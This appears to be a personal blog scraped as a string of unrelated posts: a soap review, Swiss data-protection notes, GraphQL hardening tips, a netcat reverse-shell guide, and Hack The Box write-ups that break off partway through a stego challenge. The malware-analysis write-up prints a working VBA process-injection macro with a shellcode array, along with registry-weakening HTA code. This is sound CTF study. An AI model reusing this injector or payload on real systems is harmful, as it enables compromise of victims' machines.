
# Discovering Sustainable Living: Soeder's Natural Soaps

One of the first steps I took on my journey to a more sustainable lifestyle was reevaluating my choice of soap and shampoo. It wasn't long before I was introduced to **Soeder**, a Zurich-based brand known for its natural soaps, lotions, and related products.

## Why Soeder?

Soeder stands out due to its commitment to sustainability and quality. Their best-seller, the "Herbal Garden" hand soap, is particularly popular. Not only does it have an amazing scent, but it also cleans effectively. 

### My Soeder Favorites

I've incorporated several of their products into my daily routine:

#### Soap
- **Herbal Garden**
- **Black Pine**
- **Hinoki Yuzu**

I use these soaps in various ways:
- **Hand Soap**: In the bathroom and kitchen.
- **Body Shampoo**: In the shower.
- **Surface Cleaner**: Occasionally, to clean and freshen surfaces.

### Practical and Economical

I keep 500ml glass bottles in each location and usually buy the 1L refills from Galaxus. This approach is cost-effective, especially when you can get a 1L bottle for around 55.- CHF if you’re lucky. You can also opt for the 5L version to save even more in the long run.

### Long-Term Benefits

I've been using Soeder products for about five years and couldn't be happier. I've significantly reduced my reliance on single-use plastic and minimized shopping trips. Overall, I believe this choice supports a sustainable future and saves money over time.

## Pricing

Soeder pricing fluctuates a lot depending on the scent and reseller:

- **500ml Bottles**: Priced between 22.- to 35.- CHF per bottle.
- **1L Refills**: Range from 52.- to 75.- CHF per bottle.

Since 2022, I've purchased:
- 3 x 500ml bottles.
- 5 x 1L refills (two of which are still full).

> To date a paid around 360.- for soeder soaps in the past 2.5 years which amounts to roughly 150.- per year. 

This investment has not only helped me maintain a sustainable lifestyle but also proved to be economical in the long term.


## Conclusion

Soeder's natural soaps are a fantastic choice for anyone looking to live more sustainably. Their products are not only high-quality but also economical in the long run. By choosing Soeder, you're supporting a brand that values the environment and promotes a sustainable future.

Soeder stands out due to its commitment to sustainability and quality. Their best-seller, the "Herbal Garden" hand soap, is particularly popular. Not only does it have an amazing scent, but it also cleans effectively.

More sustainable alternatives for your daily life.

Sustainable Daily; Shampoo & Soap


# Data Protection in Switzerland & the new DPA effective in 2023

- **Federal Data Protection Act (DPA) of 2020** (effective 09/2023) applies to the processing of personal data of **natural persons** by **private and federal entities**.
- **Federal Data Protection and Information Commissioner (FDPIC)** is responsible for data processing by federal and private entities.
- **Data processing by cantonal and communal entities falls under cantonal law**; supervision is the responsibility of the cantonal and communal data protection commissioners. In addition to the validity of the DPA, there are also cantonal data protection laws.

> Data protection primarily refers to the protection of individuals against "data power", not the protection of data itself.
> 

"This law aims to protect the personality and fundamental rights of individuals about whom data is processed." (DPA, version of 25.09.2020)

## What are personal data?

> Personal data (data): all information that relates to a specific or identifiable person (Art. 5 DPA)
> 

"A person is identifiable if the **information** provided does not allow for a clear conclusion as to the identity (for example, by naming the name and address, or by a number assigned to a person), but identification is possible based on the given information (e.g., a 40-year-old employee of the Federal Office for the Environment, who has been in the service of the office for 15 years, has three children, and is a hobbyist musician at a high level)." (Epiney 2009)

![/dsg/dsg.png](/dsg/dsg.png)
![/dsg/dsg2.png](/dsg/dsg2.png)

**Identifiability is given when...**

- someone with **access** to the data is ***able*** to find out which natural person is connected to it
- someone is also ***willing*** to make the necessary effort to identify it

The singularity ("singling out") of a subject is not sufficient as a characteristic for identifiability alone.

In case of doubt, it is better to be GDPR compliant rather than just DPA compliant, as the GDPR is generally stricter and more detailed.

### Objectives of data protection
▪ Protection of privacy and personality
▪ Transparency
▪ Ensuring rights

## EU GDPR applicable since May 2018 and also relevant for many Swiss companies

- The GDPR does **not** allow data collection by default
- Applicability also to many Swiss companies (Art. 3 para. 2 GDPR), for example
- Processing initiated/performed by a controller or processor established in the EU (processing also affected outside the EU)
- **Processing** of data of **EU persons**
- **Offering of goods and services** to affected persons **in the EU**
- **Monitoring of behavior** of affected persons **taking place in the EU**.

> Compared to the DPA, the GDPR is stricter
> 

# Main principles of the DPA

**— Principle of proportionality (Art. 6 para. 2 DPA)**

- "Data minimization"
- Only meaningful data is collected
- Data must be deleted after a certain period of time

**— Purpose limitation principle (Art. 6 para. 3 DPA)**

- Purpose of data acquisition and processing must be recognizable (DataProtectionPolicy)

**— Storage period (Art. 6 para. 4 DPA)**

- Personal data is destroyed or anonymized as soon as it is no longer necessary for processing purposes.
- If keeping the data doesn't make sense, they should be deleted

**— Data accuracy (Art. 6 para. 5 DPA)**

- Data processor must ensure the accuracy of the data. Obligation to correct inaccurate data.

**— Information obligation (Art. 19 DPA)**

- "Appropriate" information about the acquisition of personal data
- **Privacy policy is mandatory!**

**— Consent (Art. 6 para. 6 DPA)**

- Not generally required, often information is sufficient
- Must only be given in certain cases (e.g. automated individual decisions) and only in certain cases must be "explicit" (e.g. particularly sensitive data) → pre-ticked boxes are generally allowed

**— Data protection by design and default (Art. 7 DPA)**

- **Privacy by Design / Privacy by Default**
- Data protection must already be taken into account in the planning stage, measures according to the state of the art. Default settings are limited to the necessary minimum (not collecting all data by default, but only necessary data)
- High risk: Data protection impact assessment (Art. 22 DPA) → possibly a statement from the EDPS

**— Data security (Art. 8 DPA)**

- Must be appropriate to the risk (data determines the risk/ sensitive data must be better protected), generally all data should be protected
- Notification "as soon as possible" (GDPR within 72 hours)

**— Disclosure of personal data abroad (Art. 16)**

- Adequate level of data protection, otherwise consent is required
- For example, the USA does **NOT** have an adequate level of data protection, here consent would be necessary

**— Contract processing (Art. 9 DPA)**

- As the responsible party would do it themselves
- Data processor requires permission from the responsible party if they want to transfer the processing to third parties

**— Data protection adviser (Art. 10 DPA)**

**— Register of processing activities (Art. 12 DPA)**

- Database which describes which data is used how and where & who is responsible.

**— Right to information (Art. 25 DPA)**

- Generally free information to natural persons within 30 days (collected data, purpose, retention period)

**— Data disclosure or transfer (Art. 28 DPA)**

- Any person can request from the responsible party the disclosure of their personal data that they have provided to them, in a common electronic format (if processed automatically)

**Fines for individuals up to CHF 250,000 (Art 60ff. DPA) for intentional violations**

Federal Data Protection Act (DPA) of 2020 (effective 09/2023) applies to the processing of personal data of natural persons by private and federal entities

GDPR, DSG, DSGvO, DPA? everything explained.

New Data Protection Law in Switzerland


## Securing a GraphQL Endpoint

Securing a GraphQL endpoint is an important step to take to protect your data and ensure that only authorized users can access your GraphQL API. Here are some best practices for securing a GraphQL endpoint:

1. **`Use HTTPS`**: GraphQL APIs should be accessed over a secure HTTPS connection to protect data in transit and prevent man-in-the-middle attacks.
2. Use **`authentication and authorization`**: Implement authentication and authorization mechanisms to ensure that only authenticated and authorized users can access your GraphQL API. You can use a variety of techniques, such as JSON Web Tokens (JWTs), to implement authentication and authorization in your GraphQL API.
3. Use **`input validation and sanitization`**: Use input validation and sanitization to prevent malicious users from injecting harmful data into your GraphQL API. This can help to prevent attacks such as SQL injection and cross-site scripting (XSS).
4. **`Limiting the request origin`** for your GraphQL API can help to protect your API from abuse and unauthorized access. By limiting the request origin, you can specify which domains or IP addresses are allowed to make requests to your API, and block requests from any other domains or IP addresses.
5. Use **`rate limiting`**: Implement rate limiting to prevent excessive requests to your GraphQL API. This can help to protect your API from denial-of-service attacks and other types of abuse.
6. **`Monitor and log API activity`**: Monitor and log API activity to track access to your GraphQL API and detect any unusual or suspicious activity. This can help you to identify potential security issues and respond to them quickly.

By following these best practices, you can help to secure your GraphQL endpoint and protect your data from unauthorized access and other security threats.

## Why should I implement rate limiting?

Rate limiting is an important security measure that can help to protect your GraphQL API from excessive requests and other types of abuse. By implementing rate limiting, you can set limits on the number of requests that a user or client can make to your API within a specified time period. This can help to prevent denial-of-service attacks, where attackers attempt to overwhelm your API with a large number of requests, and other types of abuse, such as scraping or excessive data mining.

Rate limiting can also help to improve the performance and reliability of your API. By limiting the number of requests that can be made to your API, you can ensure that it is able to handle a reasonable workload without becoming overwhelmed and unresponsive. This can help to improve the user experience for your API clients and ensure that your API is available and responsive when it is needed.

Overall, rate limiting is an important security measure that can help to protect your GraphQL API from abuse and improve its performance and reliability. By implementing rate limiting, you can help to ensure that your API is available and responsive to legitimate requests, while protecting it from excessive or malicious requests.

## Limiting Request origin

Limiting the request origin for your GraphQL API can help to protect your API from abuse and unauthorized access. By limiting the request origin, you can specify which domains or IP addresses are allowed to make requests to your API, and block requests from any other domains or IP addresses. This can help to prevent attackers from making unauthorized requests to your API and protect your data from unauthorized access.

To limit the request origin for your GraphQL API, you can use the **`Access-Control-Allow-Origin`** header in your API's HTTP response. This header specifies the domains or IP addresses that are allowed to make requests to your API. For example, you could use the following header to allow requests from the domain **`example.com`**:

```
Access-Control-Allow-Origin: lwlx.xyz
```

Alternatively, you can use the **`*`** wildcard to allow requests from any domain:

```
Access-Control-Allow-Origin: *
```

> It is important to note that using the **`*`** wildcard can make your API less secure, as it allows requests from any domain. It is generally better to specify specific domains or IP addresses that are allowed to make requests to your API, rather than using the **`*`** wildcard.


Harden your API Endpoint, at least a little.

A Guide on Securing a GraphQL Endpoint


## **Using `netcat` to Connect to a Reverse Shell on another Computer**

**`netcat`** is a versatile networking tool that can be used to establish connections with other computers, transfer data, and perform a variety of other network-related tasks. In this guide, we will show you how to use **`netcat`** to connect to a reverse shell on another computer.

## **Prerequisites**

Before you begin, you will need the following:

- A Unix-based system with **`netcat`** installed
- The IP address and port of the computer with the reverse shell
- The password for the reverse shell (if applicable)

## **Connecting to the Reverse Shell**

To connect to the reverse shell, follow these steps:

1. Open a terminal on your Unix-based system.
2. Type the following command to establish a connection to the reverse shell, replacing **`IP_ADDRESS`** and **`PORT_NUMBER`** with the IP address and port of the computer with the reverse shell:

```
nc IP_ADDRESS PORT_NUMBER
```

1. If the reverse shell requires a password, type the password when prompted and press **`Enter`** to continue.
2. Once the connection is established, you will be able to access the command prompt of the computer with the reverse shell. You can use this access to run commands, transfer files, and perform other tasks on the remote computer.

## **Disconnecting from the Reverse Shell**

To disconnect from the reverse shell, follow these steps:

1. At the command prompt of the reverse shell, type the following command to exit the connection:

```
exit
```

1. Press **`Enter`** to terminate the connection and return to the terminal on your local system.

## **Conclusion**

In this guide, we showed you how to use **`netcat`** to connect to a reverse shell on another computer. **`netcat`** is a powerful tool that can be used for a variety of network-related tasks, and connecting to a reverse shell is just one example of its capabilities. By following the steps in this guide, you can easily establish a connection to a reverse shell and access the command prompt of the remote computer.

Using netcat to Connect to a Reverse Shell on another Computer

start using nc if you haven't already!

This is my Write Up for the "oBfsC4t10n" challenge from Hack The Box.

We are given a _zip file_. After extraction, we are presented with an **HTML** file telling us to download an **excel file**.
The excel file has been included in the HTML as a **base64 encoded** string; let's save that info for later `base64.txt` in case we need it.

> decoding `base64.txt` actually gives us a valid excel like file.

After we checked the HTML and deemed the download save, let's fetch the excel file.

## Enumeration

Instead of trying to open or analyze the file on our own machine, let us go ahead and upload it to **ANY.RUN**.

> [https://ANY.RUN](https://ANY.RUN) is an **online Sandbox** service that allows you to open various suspicious files or programs to fully analyze what would happen without the danger.

After Testing the file with **ANY.RUN** we were able to see how the exploit would work and what would be done. So we tested on a **Windows 7** Machine, after opening the file, the exploit immediately started to run:

![excel-file-report](/htb/obfuscation/file-report.png)

> 1. At first a temp file was created under `C:\Users\admin\AppData\Local\Temp\CVR40EB.tmp.cvr`
> 2. Then a what seems to be `visual basic script` executer was added here: `C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd`
> 3. followed by a `.hta` file with a funny name..: `C:\Users\admin\AppData\Local\Temp\LwTHLrGh.hta` <-- lemme guess thats the one.
> 4. it then makes use of `mshta.exe` to try and execute the `LwTHLrGh.hta` file.
> 5. then ANY.RUN stops executing the file.

![important files](/htb/obfuscation/file-modifications.png)

I went ahead and _downloaded_ the `MSForms.exd` as well as the `LwTHLrGh.hta` file so we can analyze them further.

## Analyzing `LwTHLrGh.hta`

> .hta is a proprietary file format used by Microsoft, its called '**HT**ML **A**pplication' and supports HTML code as well as **Visual Basic** or **JScript**. This format was meant to be used by Internet Explorer.
>
> The **default file-association** for the .hta extension is the Microsoft HTML Application Host (**mshta.exe**). If you have not disabled or changed this file association, in effect, the HTA file behaves like an executable when double-clicked. An **HTA runs** as a **fully trusted application** and, as a result, has a lot **more privileges than a normal HTML** file.

Sounds dangerous, nice!

So let's dissect this bitch!

When opening the file, we see it has a relatively clear structure, a huge VB Script, and **even comments**. How nice of the hacker not to obfuscate his code too much, thanks [@0xdf](https://twitter.com/0xdf_). ;-)

```jsx
"<html><head>

<script language="vbscript">



</script></head></html>"
```

So naturally, since it's practically all the code, we strip the vbcode out of the .hta to make it readable.

Thank god we know VB. Otherwise, this would be a pain from here on now. ;-) Thankfully, since the author has left some comments indicating how the attack works, we should be able to cope with it.

The first thing he does is to effectively create a backup of the AccessVBOM key **if** it has been set before.

```vb
' Get the old AccessVBOM value
RegPath = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM"

if RegExists(RegPath) then
        action = WshShell.RegRead(RegPath)
else
        action = """"
end if
```

> "_Setting AccessVBOM to 1 allows to access the VBA Object Model_"

Then he 'weakens the target' by setting the AccessVBOM to 1, thus enabling all acces to VBA Object Model.

```VB
' Weaken the target
WshShell.RegWrite RegPath, 1, "REG_DWORD"
```

Then he gets to the juicy part.
To Exploit the Security setting he just turned off, he creates a new Excel Workbook, with macros, of course.
He then proceeds to add VBComponents to the Excel, allowing him to add an Assembly Code Module.

```VB
' Run the macro
Set objWorkbook = objExcel.Workbooks.Add()
Set xlmodule = objWorkbook.VBProject.VBComponents.Add(1)
xlmodule.CodeModule.AddFromString ... 80 more lines...

```

In his last step, this good boy restores the systems registry to its previous state.

```vb
' Restore the registry to its old state
if action = "" then
        WshShell.RegDelete RegPath
else
        WshShell.RegWrite RegPath, action, "REG_DWORD"
end if
self.close
```

> xlmodule.CodeModule.AddFromString contains many obfuscated lines of assembly code, and I deobfuscated it by printing it via VBS.

Here is the actual assembly code payload:

```cpp
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-35,-63,-65,32,86,66,126,-39,116,36,-12,91,49,-55,-79,98,49,123,24,3,123,24,-125,-61,36,-76,-73,-126,-52,-70,56,123,12,-37,-79,-98,61,-37,-90,-21,109,-21,-83,-66,-127,-128,-32,42,18,-28,44,92,-109,67,11,83,36,-1,111,-14,-90,2,-68,-44,-105,-52,-79,21,-48,49,59,71,-119,62,-18,120,-66,11,51,-14,-116,-102,51,-25,68,-100,18,-74,-33,-57,-76,56,12,124,-3,34,81,-71,-73,-39,-95,53,70,8,-8,-74,-27,117,53,69,-9,-78,-15,-74,-126,-54,2,74,-107,8,121,-112,16,-117,-39,83,-126,119,-40,-80,85,-13,-42,125,17,91,-6,-128,-10,-41,6,8,-7,55,-113,74,-34,-109,-44,9,127,-123,-80,-4,-128,-43,27,-96,36,-99,-79,-75,84,-4,-35,122,85,-1,29,21,-18,-116,47,-70,68,27,3,51,67,-36,100,110,51,114,-101,-111,68,90,95,-59,20,-12,118,102,-1,4,119,-77,80,85,-41,108,17,5,-105,-36,-7,79,24,2,25,112,-13,43,50,-88,-5,83,-61,-46,-115,58,-81,49,21,-46,66,43,-68,66,-77,-59,81,-76,-125,77,-17,-79,116,94,-80,2,72,-22,17,-7,-58,33,-14,113,127,119,127,26,76,37,2,-38,-38,96,-44,-18,-102,-116,-15,-124,-37,110,-109,-112,-117,-26,97,-91,42,76,-20,67,70,-94,-72,-36,-1,91,-31,-105,-98,-92,60,-46,-95,47,-76,34,111,-40,-67,48,-104,-65,61,-55,89,42,61,-93,93,-4,106,91,92,-39,92,-60,-97,12,-33,3,95,-47,-23,120,86,71,85,23,-105,-121,85,-25,-63,-51,85,-113,-75,-75,6,-86,-71,99,59,103,44,-116,109,-37,-25,-28,-109,2,-49,-86,108,97,83,-84,-110,-9,124,21,-6,7,61,-91,-6,109,-67,-11,-110,122,-110,-6,82,-126,57,83,-6,9,-84,17,-101,14,-27,-12,5,14,10,45,-74,117,95,-46,55,-118,-119,-73,56,-118,-75,-55,5,92,-116,-65,72,92,-85,-80,-1,-63,-102,90,-1,86,-36,78)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
```

You can see the Variable myArray seems suspicious, when running the payload in Excel, I get an error for 'myArray'

I was stuck here for a while, but i later found out that we just need to start converting the myArray Variable even more, so we try and do a simple conversion to Hex at first to see what we get. 
![important files](/htb/obfuscation/deci-to-hex-shellcode.jpg)

The content of MyArray must have been signed byte array, so after conversion, we end up with the raw bytes, which we can convert into a payload file.

![important files](/htb/obfuscation/xxd-conversion-toshellcode.jpg)

If you Have IDA Pro, you could try and disassemble this file with it, but us being poor we go ahead and download `scdbg`, a simple windows script that will help us achieve the same result.
Sadly we have to switch on our Windows VM for this. 

![important files](/htb/obfuscation/shellcode-debuged.jpg)

As you can see, this finally yields us the Flag! Congrats to all of us, yay. 

This was one of the most difficult Reversing challenge i've tried to date. What I also really liked about this one is that this is a very real-world scenario, Phishing is still one of the most common methods to get people hacked, and the chance that you would come across a Virus contained in a file like the one above is pretty high.


@ me on twitter [@0x0000005](https://twitter.com/0x0000005)

> This Post was first published on Janury 22nd 2022 and was last updated on May 7th 2022.

write up for the oBfsC4t10n[HARD] challenge

security through obscurity?

HTB write up for the oBfsC4t10n[HARD] challenge


# baby BoneChewerCon

This is my Write Up for the "baby BoneChewerCon" machine from Hack The Box.


## Enumeration
We are given an URL. This leads us to a website calling for the registration to its upcoming event. We see we have a few graphics and most noteably and input field. So naturally we want to go ahead and try to XSS this.
![excel-file-report](/htb/babybonechewer/babybonechewerevent.png)

Funily enough, actually just entering ANYTHING like ‘lol’ into the field yields us the flag from the debugger..

![excel-file-report](/htb/babybonechewer/babybonechewerflag.png)
It seems the webservers configuration or the service run by the server is not correctly configured as a production server, thus still showing debug info. Be sure to always turn off any debugging info in Production environments.

write up for the baby BoneChewerCon[Easy] machine

proper server configs would be nice!

HTB write up for the baby BoneChewerCon[EASY] machine


# The Linux Filesystem 

---

The Linux Filesystem has many Folders you will bump into a lot, so it's good to know what each of them is meant for and what they are used for. This Knowledge will help you during the analysis of any Unix system.

---

# Linux folders explained

- **/bin/**: basic programs
- **/boot/**: Linux kernel and other files required for its early boot process
- **/dev/**: device files
- **/etc/**: configuration files
- **/home/**: user's personal files
- **/lib/**: basic libraries
- **/media/**: mount points for removable devices (CD/DVD-ROM, USB keys, and so on)
- **/mnt/** or **/mount/**: temporary mount point
- **/opt/**: extra applications provided by third parties
- **/root/**: administrator's (root's) personal files
- **/run/**: volatile runtime data that does not persist across reboots (not yet included in the FHS)
- **/sbin/**: system programs
- **/srv/**: data used by servers hosted on this system
- **/tmp/**: temporary files (this directory is often emptied at boot)
- **/usr/**: applications (this directory is further subdivided into **bin**, **sbin**, **lib** according to the same logic as the root directory). Furthermore, **/usr/share/** contains architecture-independent data. The **/usr/local/** directory is meant to be used by the administrator for installing applications manually without overwriting files handled by the packaging system (dpkg).
- **/var/**: variable data handled by services. This includes log files, queues, spools, and caches.
- **/proc/** and **/sys/** are specific to the Linux kernel (and not part of the FHS). The kernel uses them for exporting data to userspace.

The Linux Filesystem has many Folders you will bump into a lot, so it's good to know what each of them is meant for and what they are used for. This Knowledge will help you during the analysis of any Unix system.

Where do i find X in Linux? Where should i place temporary data?

The Linux Filesystem


This is my Write Up for the "Not Art" Stego challenge from Hack The Box.
# Not Art

We Recvied a PNG file called not_art.png

![not_art.png](/htb/notart/not_art.png)

We already know there is something hidden in this image so lets start with basic stego tools to analyze if we have hidden content.

steghide & foremost:

```bash
steghide info not_art.png 
steghide: the file format of the file "not_art.png" is not supported.
                                                                                                                                            
└─$ foremost -i not_art.png                                                                                                             1 ⨯
Processing: not_art.png
```

nothing so lets check further:

```bash
└─$ strings not_art.png      
IHDR
JIDATx
O2~tt
kNB(
B([W
3"qV
!.'!
Bf-#
eG=1w
&=1{Rl4
-Tg~
+,:
k22s
(;-A
3fM!
Ljb&
=bNB(
B([O}-;
>;m];
9eNB(
IEND
```

```bash
└─$ exiftool not_art.png                                                                                                              127 ⨯
ExifTool Version Number         : 12.39
File Name                       : not_art.png
Directory                       : .
File Size                       : 2.1 KiB
File Modification Date/Time     : 2018:06:20 19:04:12+02:00
File Access Date/Time           : 2022:01:25 14:00:23+01:00
File Inode Change Date/Time     : 2022:01:25 14:00:21+01:00
File Permissions                : -rw-rw-r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 300
Image Height                    : 300
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Image Size                      : 300x300
Megapixels                      : 0.090
```

```bash
zsteg -a not_art.png  
b1,r,lsb,xy         .. file: , OEM-ID "\003\377", Bytes/sector 3840, sectors/cluster 252, sectors 65280 (volumes <=32 MB), Media descriptor 0xff, sectors/FAT 240, sectors/track 0, FAT (12 bit by descriptor)                                                                          
b2,b,lsb,xy         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b2,b,msb,xy         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b6,r,lsb,xy         .. file: AIX core file fulldump
b1,rgb,lsb,xy,prime .. text: "lHR&I\"Z$"
b1,rgb,msb,xy,prime .. text: "D&IlIK\"i\"I)6"
b3,r,lsb,xy,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz
b4,g,lsb,xy,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,g,msb,xy,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b5,g,lsb,xy,prime   .. file: AIX core file
b8,b,lsb,xy,prime   .. file: Matlab v4 mat-file (little endian) \300\300\377\377\377\300\300\300\300, numeric, rows 3233857728, columns 3233808384, imaginary                                                                                                                           
b1,g,msb,yx         .. file: dBase III DBT, next free block index 1072693248, block length 64512, 1st item "\001"
b2,b,lsb,yx         .. file: Matlab v4 mat-file (little endian) \377\377\360, numeric, rows 251658240, columns 65535, imaginary
b2,b,msb,yx         .. file: Matlab v4 mat-file (little endian) \377\377\017, numeric, rows 4026531840, columns 65535, imaginary
b5,b,lsb,yx         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377, numeric, rows 0, columns 0
b5,b,msb,yx         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377, numeric, rows 0, columns 0
b6,r,lsb,yx         .. file: AIX core file fulldump
b6,g,lsb,yx         .. file: Matlab v4 mat-file (little endian) \377\377\360, numeric, rows 0, columns 0, imaginary
b6,g,msb,yx         .. file: Matlab v4 mat-file (little endian) \377\377\017, numeric, rows 0, columns 0, imaginary
b7,b,lsb,yx         .. file: Matlab v4 mat-file (little endian) @\201\002\004\010\020?\377\377\377\377\377\377\377\377, numeric, rows 0, columns 0                                                                                                                                      
b8,b,lsb,yx         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b1,rgb,msb,yx,prime .. file: TeX font metric data
b2,r,msb,yx,prime   .. file: DOS 2.0-3.2 backed up file \017\003
b3,r,lsb,yx,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz
b4,r,msb,yx,prime   .. file: , Bytes/sector 3840, root entries 15, Media descriptor 0xff, sectors/FAT 255, sectors/track 0, heads 15, FAT (12 bit by descriptor)                                                                                                                        
b8,b,lsb,yx,prime   .. file: Matlab v4 mat-file (little endian) \300\300\377\377, numeric, rows 0, columns 4294951104, imaginary
b3,r,lsb,XY         .. file: AIX core file
b3,g,lsb,XY         .. file: AIX core file
b4,r,lsb,XY         .. file: Matlab v4 mat-file (little endian) , numeric, rows 4294967040, columns 65535
b6,b,lsb,XY         .. file: AIX core file fulldump
b3,b,lsb,XY,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz, stereo + center
b4,r,lsb,XY,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,r,msb,XY,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,g,lsb,XY,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,g,msb,XY,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b8,g,lsb,XY,prime   .. file: Matlab v4 mat-file (little endian) \300\300\377\377, numeric, rows 4294967295, columns 0, imaginary
b3,r,lsb,YX         .. file: AIX core file
b6,g,lsb,YX         .. file: Matlab v4 mat-file (little endian) \377\377\360, numeric, rows 0, columns 0, imaginary
b6,g,msb,YX         .. file: Matlab v4 mat-file (little endian) \377\377\017, numeric, rows 0, columns 0, imaginary
b6,b,lsb,YX         .. file: AIX core file fulldump
b7,g,lsb,YX         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377\377\340@\201\002\004\010\020 @\377\377\377\377\377\377\377\377\376\004\010\020 @\201\002\004, numeric, rows 0, columns 0                                                                           
b7,g,msb,YX         .. file: Matlab v4 mat-file (little endian) \377\377\377\377\377\377\007\002\201@ \020\010\004\002\377\377\377\377\377\377\377\377\177 \020\010\004\002\201@ , numeric, rows 0, columns 0                                                                           
b8,g,lsb,YX         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b8,g,msb,YX         .. file: Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
b1,rgb,msb,YX,prime .. text: "-!%&6l2\t%"
b3,b,lsb,YX,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz
b4,r,lsb,YX,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b4,r,msb,YX,prime   .. file: Common Data Format (Version 2.5 or earlier) data
b6,g,lsb,YX,prime   .. file: Matlab v4 mat-file (little endian) \377\374\017\300, numeric, rows 4043243520, columns 3238002432
b6,g,msb,YX,prime   .. file: Matlab v4 mat-file (little endian) \377?\360\003, numeric, rows 268369920, columns 67108608
b2,r,lsb,Xy         .. file: AIX core file
b4,bgr,msb,Xy       .. file: MPEG ADTS, AAC, v4 Main, 48 kHz, surround + side
b6,g,lsb,Xy         .. file: AIX core file fulldump
b6,b,lsb,Xy         .. file: AIX core file fulldump
b6,bgr,lsb,Xy       .. file: MPEG ADTS, AAC, v4 Main, surround + side
b7,bgr,lsb,Xy       .. file: MPEG ADTS, layer II, v1, 48 kHz, Monaural
b1,bgr,lsb,Xy,prime .. text: "I\"Ki$q%)"
b3,g,lsb,Xy,prime   .. file: MPEG ADTS, AAC, v4 Main, 96 kHz
